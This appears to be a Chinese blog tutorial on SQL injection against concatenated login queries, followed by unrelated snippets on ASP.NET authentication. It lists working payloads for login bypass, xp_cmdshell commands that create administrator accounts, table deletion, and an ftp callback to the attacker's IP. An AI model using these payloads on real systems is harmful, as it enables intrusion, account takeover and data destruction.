關於身份驗證 SQL

2021-04-13 06:39:18 字數 2027 閱讀 8726

關於身份驗證

sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"

……不要以為沒有人會這樣寫,我見過很多很多,如果你相信我:),看看攻擊者能做什麼:

(1)我們在使用者名稱位置輸入【admin' or 1='1】,在密碼區輸入。注:內容只有【】內的。看看sql會變成什麼:

以下內容為程式**:

sql=select * from user where name='admin' or 1='1' and pwd='11'

我們知道,or是乙個邏輯運算子,在判斷多個條件的時候,只要有乙個成立,則等式就返回真,後面的and就不再進行判斷了,也就是說我們繞過了密碼驗證,只要我們知道使用者名稱就可以登陸該系統。

(2)我們也可以在使用者名稱位置輸入【admin' --】,在密碼區輸入。再看看sql:

以下內容為程式**:

sql=select * from user where name='admin' --' and pasword='11'

同樣,通過連線符--注釋掉了後面的密碼驗證,對access資料庫無效。

(3)如果可以通過連線符注釋掉後面的驗證,那麼就更有意思了,來看我們能作什麼:

a、在使用者名稱位置輸入【admin';exec master.dbo.sp_addlogin cool;--】,新增乙個sql使用者

b、在使用者名稱位置輸入【admin';exec master.dbo.sp_password null,123456,cool;--】,給cool設定密碼為123456

c、在使用者名稱位置輸入【admin';exec master.dbo.sp_addsrvrolemember cool,sysadmin;--】,給cool賦予system administrator許可權

d、在使用者名稱位置輸入【admin';exec master.dbo.xp_cmdshell 'net user cool 123456 /workstations:*

/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,給系統新增乙個密碼為123456的帳戶cool,並設定相關屬性,關於net user命令可以參考這裡。

e、在使用者名稱位置輸入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators cool /add';--】,把cool使用者新增到管理員組。

現在覺得恐怖了沒有,當然我還沒說完,實現這些必須是該站點使用sa或者system administrator許可權的使用者來連線資料庫,普通的的虛擬空間是不用想了,除非管理員是sb。但是對於那些站點放在自己伺服器上的**,很難說哦,真的很難說,呵呵,我見過n個。

那如果不是sa,是不是就什麼也不能做了,當然不是!只是不能獲得太高許可權來控制sql庫和系統了,但是對這個庫,我們還是擁有完整的管理許可權。來看看我們能作什麼:

a、輸入【admin';delete user;--】,一旦他的表名就是user,就會刪除user表裡所有記錄。夠狠吧!你可千萬別這麼做哦!

b、輸入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以給user表新增乙個使用者,當然前提是表名和欄位名都要正確。

c、輸入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密碼,當然前提也是表名和欄位名都要正確。

更多的攻擊內容,你可以參考sql語法。

看來如果不是sa還是比較鬱悶的,當然,我們也有一些簡單的方法來判斷**是否使用sa來連線資料庫。

a、在cmd中執行nc -l -p 21,監聽本機的21埠;當然也可以採用火牆什麼的。

b、輸入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip位址,如果發現有連線,就可以斷定是使用sa了,而且可以獲得**資料庫的ip位址,因為有些**web和sql是放在不同伺服器上的;如果沒有連線,則**使用的是非sa帳戶。 

Forms 身份驗證

配置應用程式使用 forms 身份驗證 如果應用程式的根目錄中有 web.config 檔案,請開啟該檔案。複製 在system.web元素中,建立乙個authentication元素,並將它的mode屬性設定為 forms,如下面的示例所示 複製 在authentication元素中,建立乙個fo...

WebService身份驗證

web service身份驗證解決方案一 通過通過soap header身份驗證。1.我們實現乙個用於身份驗證的類,檔名mysoapheader.cs mysoapheader類繼承自system.web.services.protocols.soapheader。且定義了兩個成員變數,userna...

WebServices身份驗證

最近遇到乙個問題,暴露在網路上的web service如何做身份驗證,而不被其他人說是用。mysoapheader.cs類 using system using system.collections.generic using system.linq using system.web namespa...